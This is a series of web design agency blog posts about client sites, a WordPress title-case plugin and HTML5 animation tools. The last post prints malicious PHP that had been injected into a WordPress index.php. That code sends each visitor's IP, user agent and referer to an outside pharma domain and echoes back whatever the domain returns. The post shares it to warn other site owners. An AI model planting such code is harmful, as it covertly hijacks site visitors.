After frustration of keeping a consistent look with title typography on our WordPress sites, friend and fellow designer/developer @sauldraws and I came up with FriendlyCase for WordPress. It’s based on Saul’s original function code that I took and built into a simple WordPress plugin. Pretty Simple and keeps the ALL CAPS issue in check.

Turn Post and Page Titles from:
THIS IS A REALLY GREAT PLUGIN!
to:
This is a Really Great Plugin!

It’s currently a 1.0 release but seems to work as intended and I have it running a several sites. Check it out here for progress updates: FriendlyCase for WordPress or download it directly – FriendlyCase at WordPress Extend. We hope to add some more functionality and user options in the next few weeks.

Local Philadelphia photographer, Michael Leslie, enjoys shooting weddings, mitzvahs, as well as portraits, and commercial photography in the Philadelphia suburban area. His web presence not only promotes his business, but incorporates a blog and showcases examples of his work. Leslie’s website also displays recent events he has shot, allowing clients to view their special day online. This Philadelphia area photographer, turned to BadCat Design to refresh the website they had designed for him a few years prior.

Major Updates to Michael’s site include:

• Look and feel with Child Theme
• WordPress/CMS driven
• Easy social media access
• HTML5

The pages of his site were polished with some new earthy colors and tones, a new navigation was implemented and his identity was cleaned up. The images remain bold and the focus of the site.

Links to Leslie’s social media outlets are easily accessible on every page. Clients and interested prospects can stay in-touch with what Michael is shooting or doing professionally.

The new site was created with WordPress. This allows for Leslie to utilize it’s intuitive user backend, which ensures ease of updating. Blogging is a breeze with WordPress also making his daily commentary and photo snippets easier for him to post. Finally, with the combination of WordPress and HTML5, Leslie’s site is confidently thrust into the new generation of websites, development software and web standards.

Visit: Michael Leslie Photography

We’ve used quite a few of these and of course have our favorites, but many have their own advantages. The tools change rapidly as does HTML5 and CSS3, so you’d need to check them out for yourself. We’ve listed them by alphabetically by name, version, tagline, url and price, as currently available.

Adobe Edge

Preview 3
Create animated Web content using HTML5, CSS3, and JavaScript.
http://labs.adobe.com/technologies/edge/
Currently Free Beta

Hype

v 1.0.5
Create animated and interactive web content.
http://tumultco.com/hype/
$29.99

MotionComposer

v 1.0.3
Create interactive Web content using Flash® and HTML5!
http://www.aquafadas.com/en/motioncomposer/
$149.

Purple

v 1.0.2
Timeline-based animation editor with HTML5 and CSS3 export.
http://www.purpleanimator.com/
$19.99

Radi

v 0.7
Create video, animation and realtime graphics for the modern web.
http://radiapp.com/
Currently Free Beta

Sencha Animator

v 1.0
Create CSS3 animations for WebKit browsers and touchscreen mobile devices.
http://www.sencha.com/products/animator/
$199.

Over the years animation on the web has certainly changed. We’ve worked with GIF89A, Shockwave, FutureSplash- then Flash, DHTML, to name but a few. Given the need for high quality interactive animation for Mobile devices such as iOS, CSS3 animations, coupled with JavaScript and HTML5, have really taken off.

We’ve been fortunate to work with a new update to the very cool tool from Sencha called simply, Animator. Check out the new Sencha Animator. We’re looking forward to showing some new projects utilizing CSS3 and HTML5. Stay tuned.

Vascular Disease Foundation re-launched the “This is Serious” website with development help from BadCat Design. Their new website was created to help drive the “This is Serious”campaign which raises awareness about Deep Vein Thrombosis (DVT) and Pulmonary Embolism (PE) Risks for Women.

HTML5 was utilized on this site, bringing it up to date with the latest web-standards, ensuring its staying power. A simple CMS was implemented so that VDF can easily add new press releases, keeping the progress of the campaign going. On the home page there are a few animated points of visual interest. The first is a javascript carousel that rotates personal stories of people that have been affected by DVT. The second point of interest is the upward scrolling text block that seemingly comes out of nowhere which reveals itself upon roll-over providing chilling stats on DVT and PE.

Main developmental highlights include:

• HTML5 implementation – with the future in mind
• Customized CMS based Press Release section – allowing for admin-friendly additions
• Javascript animation and  carousel - point of visual interest

We recently completed a new content managed site for the Greater New Hope Chamber of Commerce using a very customized install of the popular Open Source software, WordPress, to create their new New Hope Visitor’s Guide. New features include:

• New Design and Navigation
• Easy to Find Shops and Services built with custom database tables
• Enhanced Search
• New Events Calendar with the ability to link to Google Calendar or iCal
• Enhanced Maps using Google’s Map API
• Consistent Social Media Properties and Branding
• and Up-To-Date News Posts with RSS feeds

From their press release:
The concept for the new website started over a year ago during a brainstorming session between New Hope Chamber board members, Louis Licitra and Glen Stephan, and the Chamber’s web developer, BadCat Design (www.badcat.com). The goal was to make shops, restaurants, lodging, services, attractions and local news easier for web visitors to access.

“We were thrilled to work with the Chamber on the new site,” added Kelter of BadCat Design. “It was a chance to get things up-to-date as well as help streamline long-term costs and produce a ‘greener’ infrastructure. We think the new site will be a welcome addition for visitors coming to New Hope and will help feature local businesses to area residents.” Read the full press release on VisitNewHope.com

Check out the site here: http://www.visitnewhope.com/

A great looking application, complete with keyframeable timeline, opacity and positioning tools and lots more. Love it! Here’s a link to the final animation.

Well-known pastry chef and chocolatier, Dorothy Mercier, approached us to create an ecommerce site for her business, Didi’s Chocolates.

Until this point, Didi’s Chocolates has been a small business that sells their chocolate confections to local Bucks County gourmet grocers. Recently Didi decided to expand. An e-commerce site was the next logical step for her business. An online store would create an uncomplicated and dynamic forum to reach more people and to sell her handmade chocolate bars, squares, ganache, barks, cordials, cookies, cakes and tarts.

The new Didi’s Chocolates site uses OpenCart, a powerful open source shopping cart software. OpenCart was chosen for it’s extensive collection of feature options and user friendly administrative interface. OpenCart is easy to implement and we were able to customize the look and feel to suit Didi’s Chocolates branding and identity system.

Some of OpenCart’s features that Didi’s site utilizes are unlimited categories and products, allowing Didi to expand her catalog when necessary. The discount coupon system is also used to reward larger purchases with a discounted rate. OpenCart’s related products feature is also used to cross-promote other products allowing the customer full knowledge of their product range.

Various other OpenCart features that are utilized are:

• Shipping weight calculation
• Search engine optimization (SEO)
• Backup and restore tools
• Additional images for products option
• Printable invoices
• Sales reports
• Automatic image resizing
• Multiple tax rates

We recently completed a new content managed site for MapResources using Magento to create their new custom store.

Map Resources, in Lambertville, NJ is an online, digital vector map retailer with over 4,000 downloadable products and nearly 300 pages of content. They sell editable, vector, multi-layer, city, US state maps, country, continent and world maps for print, multimedia and web graphics applications, compatible with both Macintosh and Windows platforms.

Magento is an open source eCommerce solution developed for online merchants, providing them with the highest level of customization for their online store. Totally tailorable, Magento’s feature-rich platform has the ability to encourage and expand business with customer features and flexibility. Magento’s various capabilities were utilized for Map Resources, including coupon codes, statistics and SEO options plus custom product imports.

The new rethinking of Map Resources site using Magento:

• Allowed for a totally customizable design
• Set the ground work for expandable marketing
• Resolved Google SEO URL issues
• Clarified their content using Magento’s layered/faceted navigation for filtering of products in Categories
• Consolidated duplicate pages and content
• Provides them with an easy to use administration interface with detailed reporting

Here’s the PHP code that was injected into the top of the WordPress core index.php file.


<?php
$url = "http://doc.health-drugshop.com/TDS/request.php?ip=".$_SERVER['REMOTE_ADDR']."&useragent=".urlencode($_SERVER['HTTP_USER_AGENT'])."
&referer=".urlencode($_SERVER["HTTP_REFERER"]);
$answer = file_get_contents($url);
if (strpos($answer,"noredirect") === false) {
echo $answer;
}
?>


Removing this inserted code seems to fix the trick. More care should probably come from the attention of web hosts when they see servers are under attack during “standard” DOS attacks. Things like this can easily sneak in when no one is reviewing the logs. An unfortunately WordPress itself doesn’t notice it – assumedly because the code runs prior to any WordPress code. So again, while WordPress wasn’t to blame here it certainly can feel the pain depending on your server’s security and vigilance of the web host provider.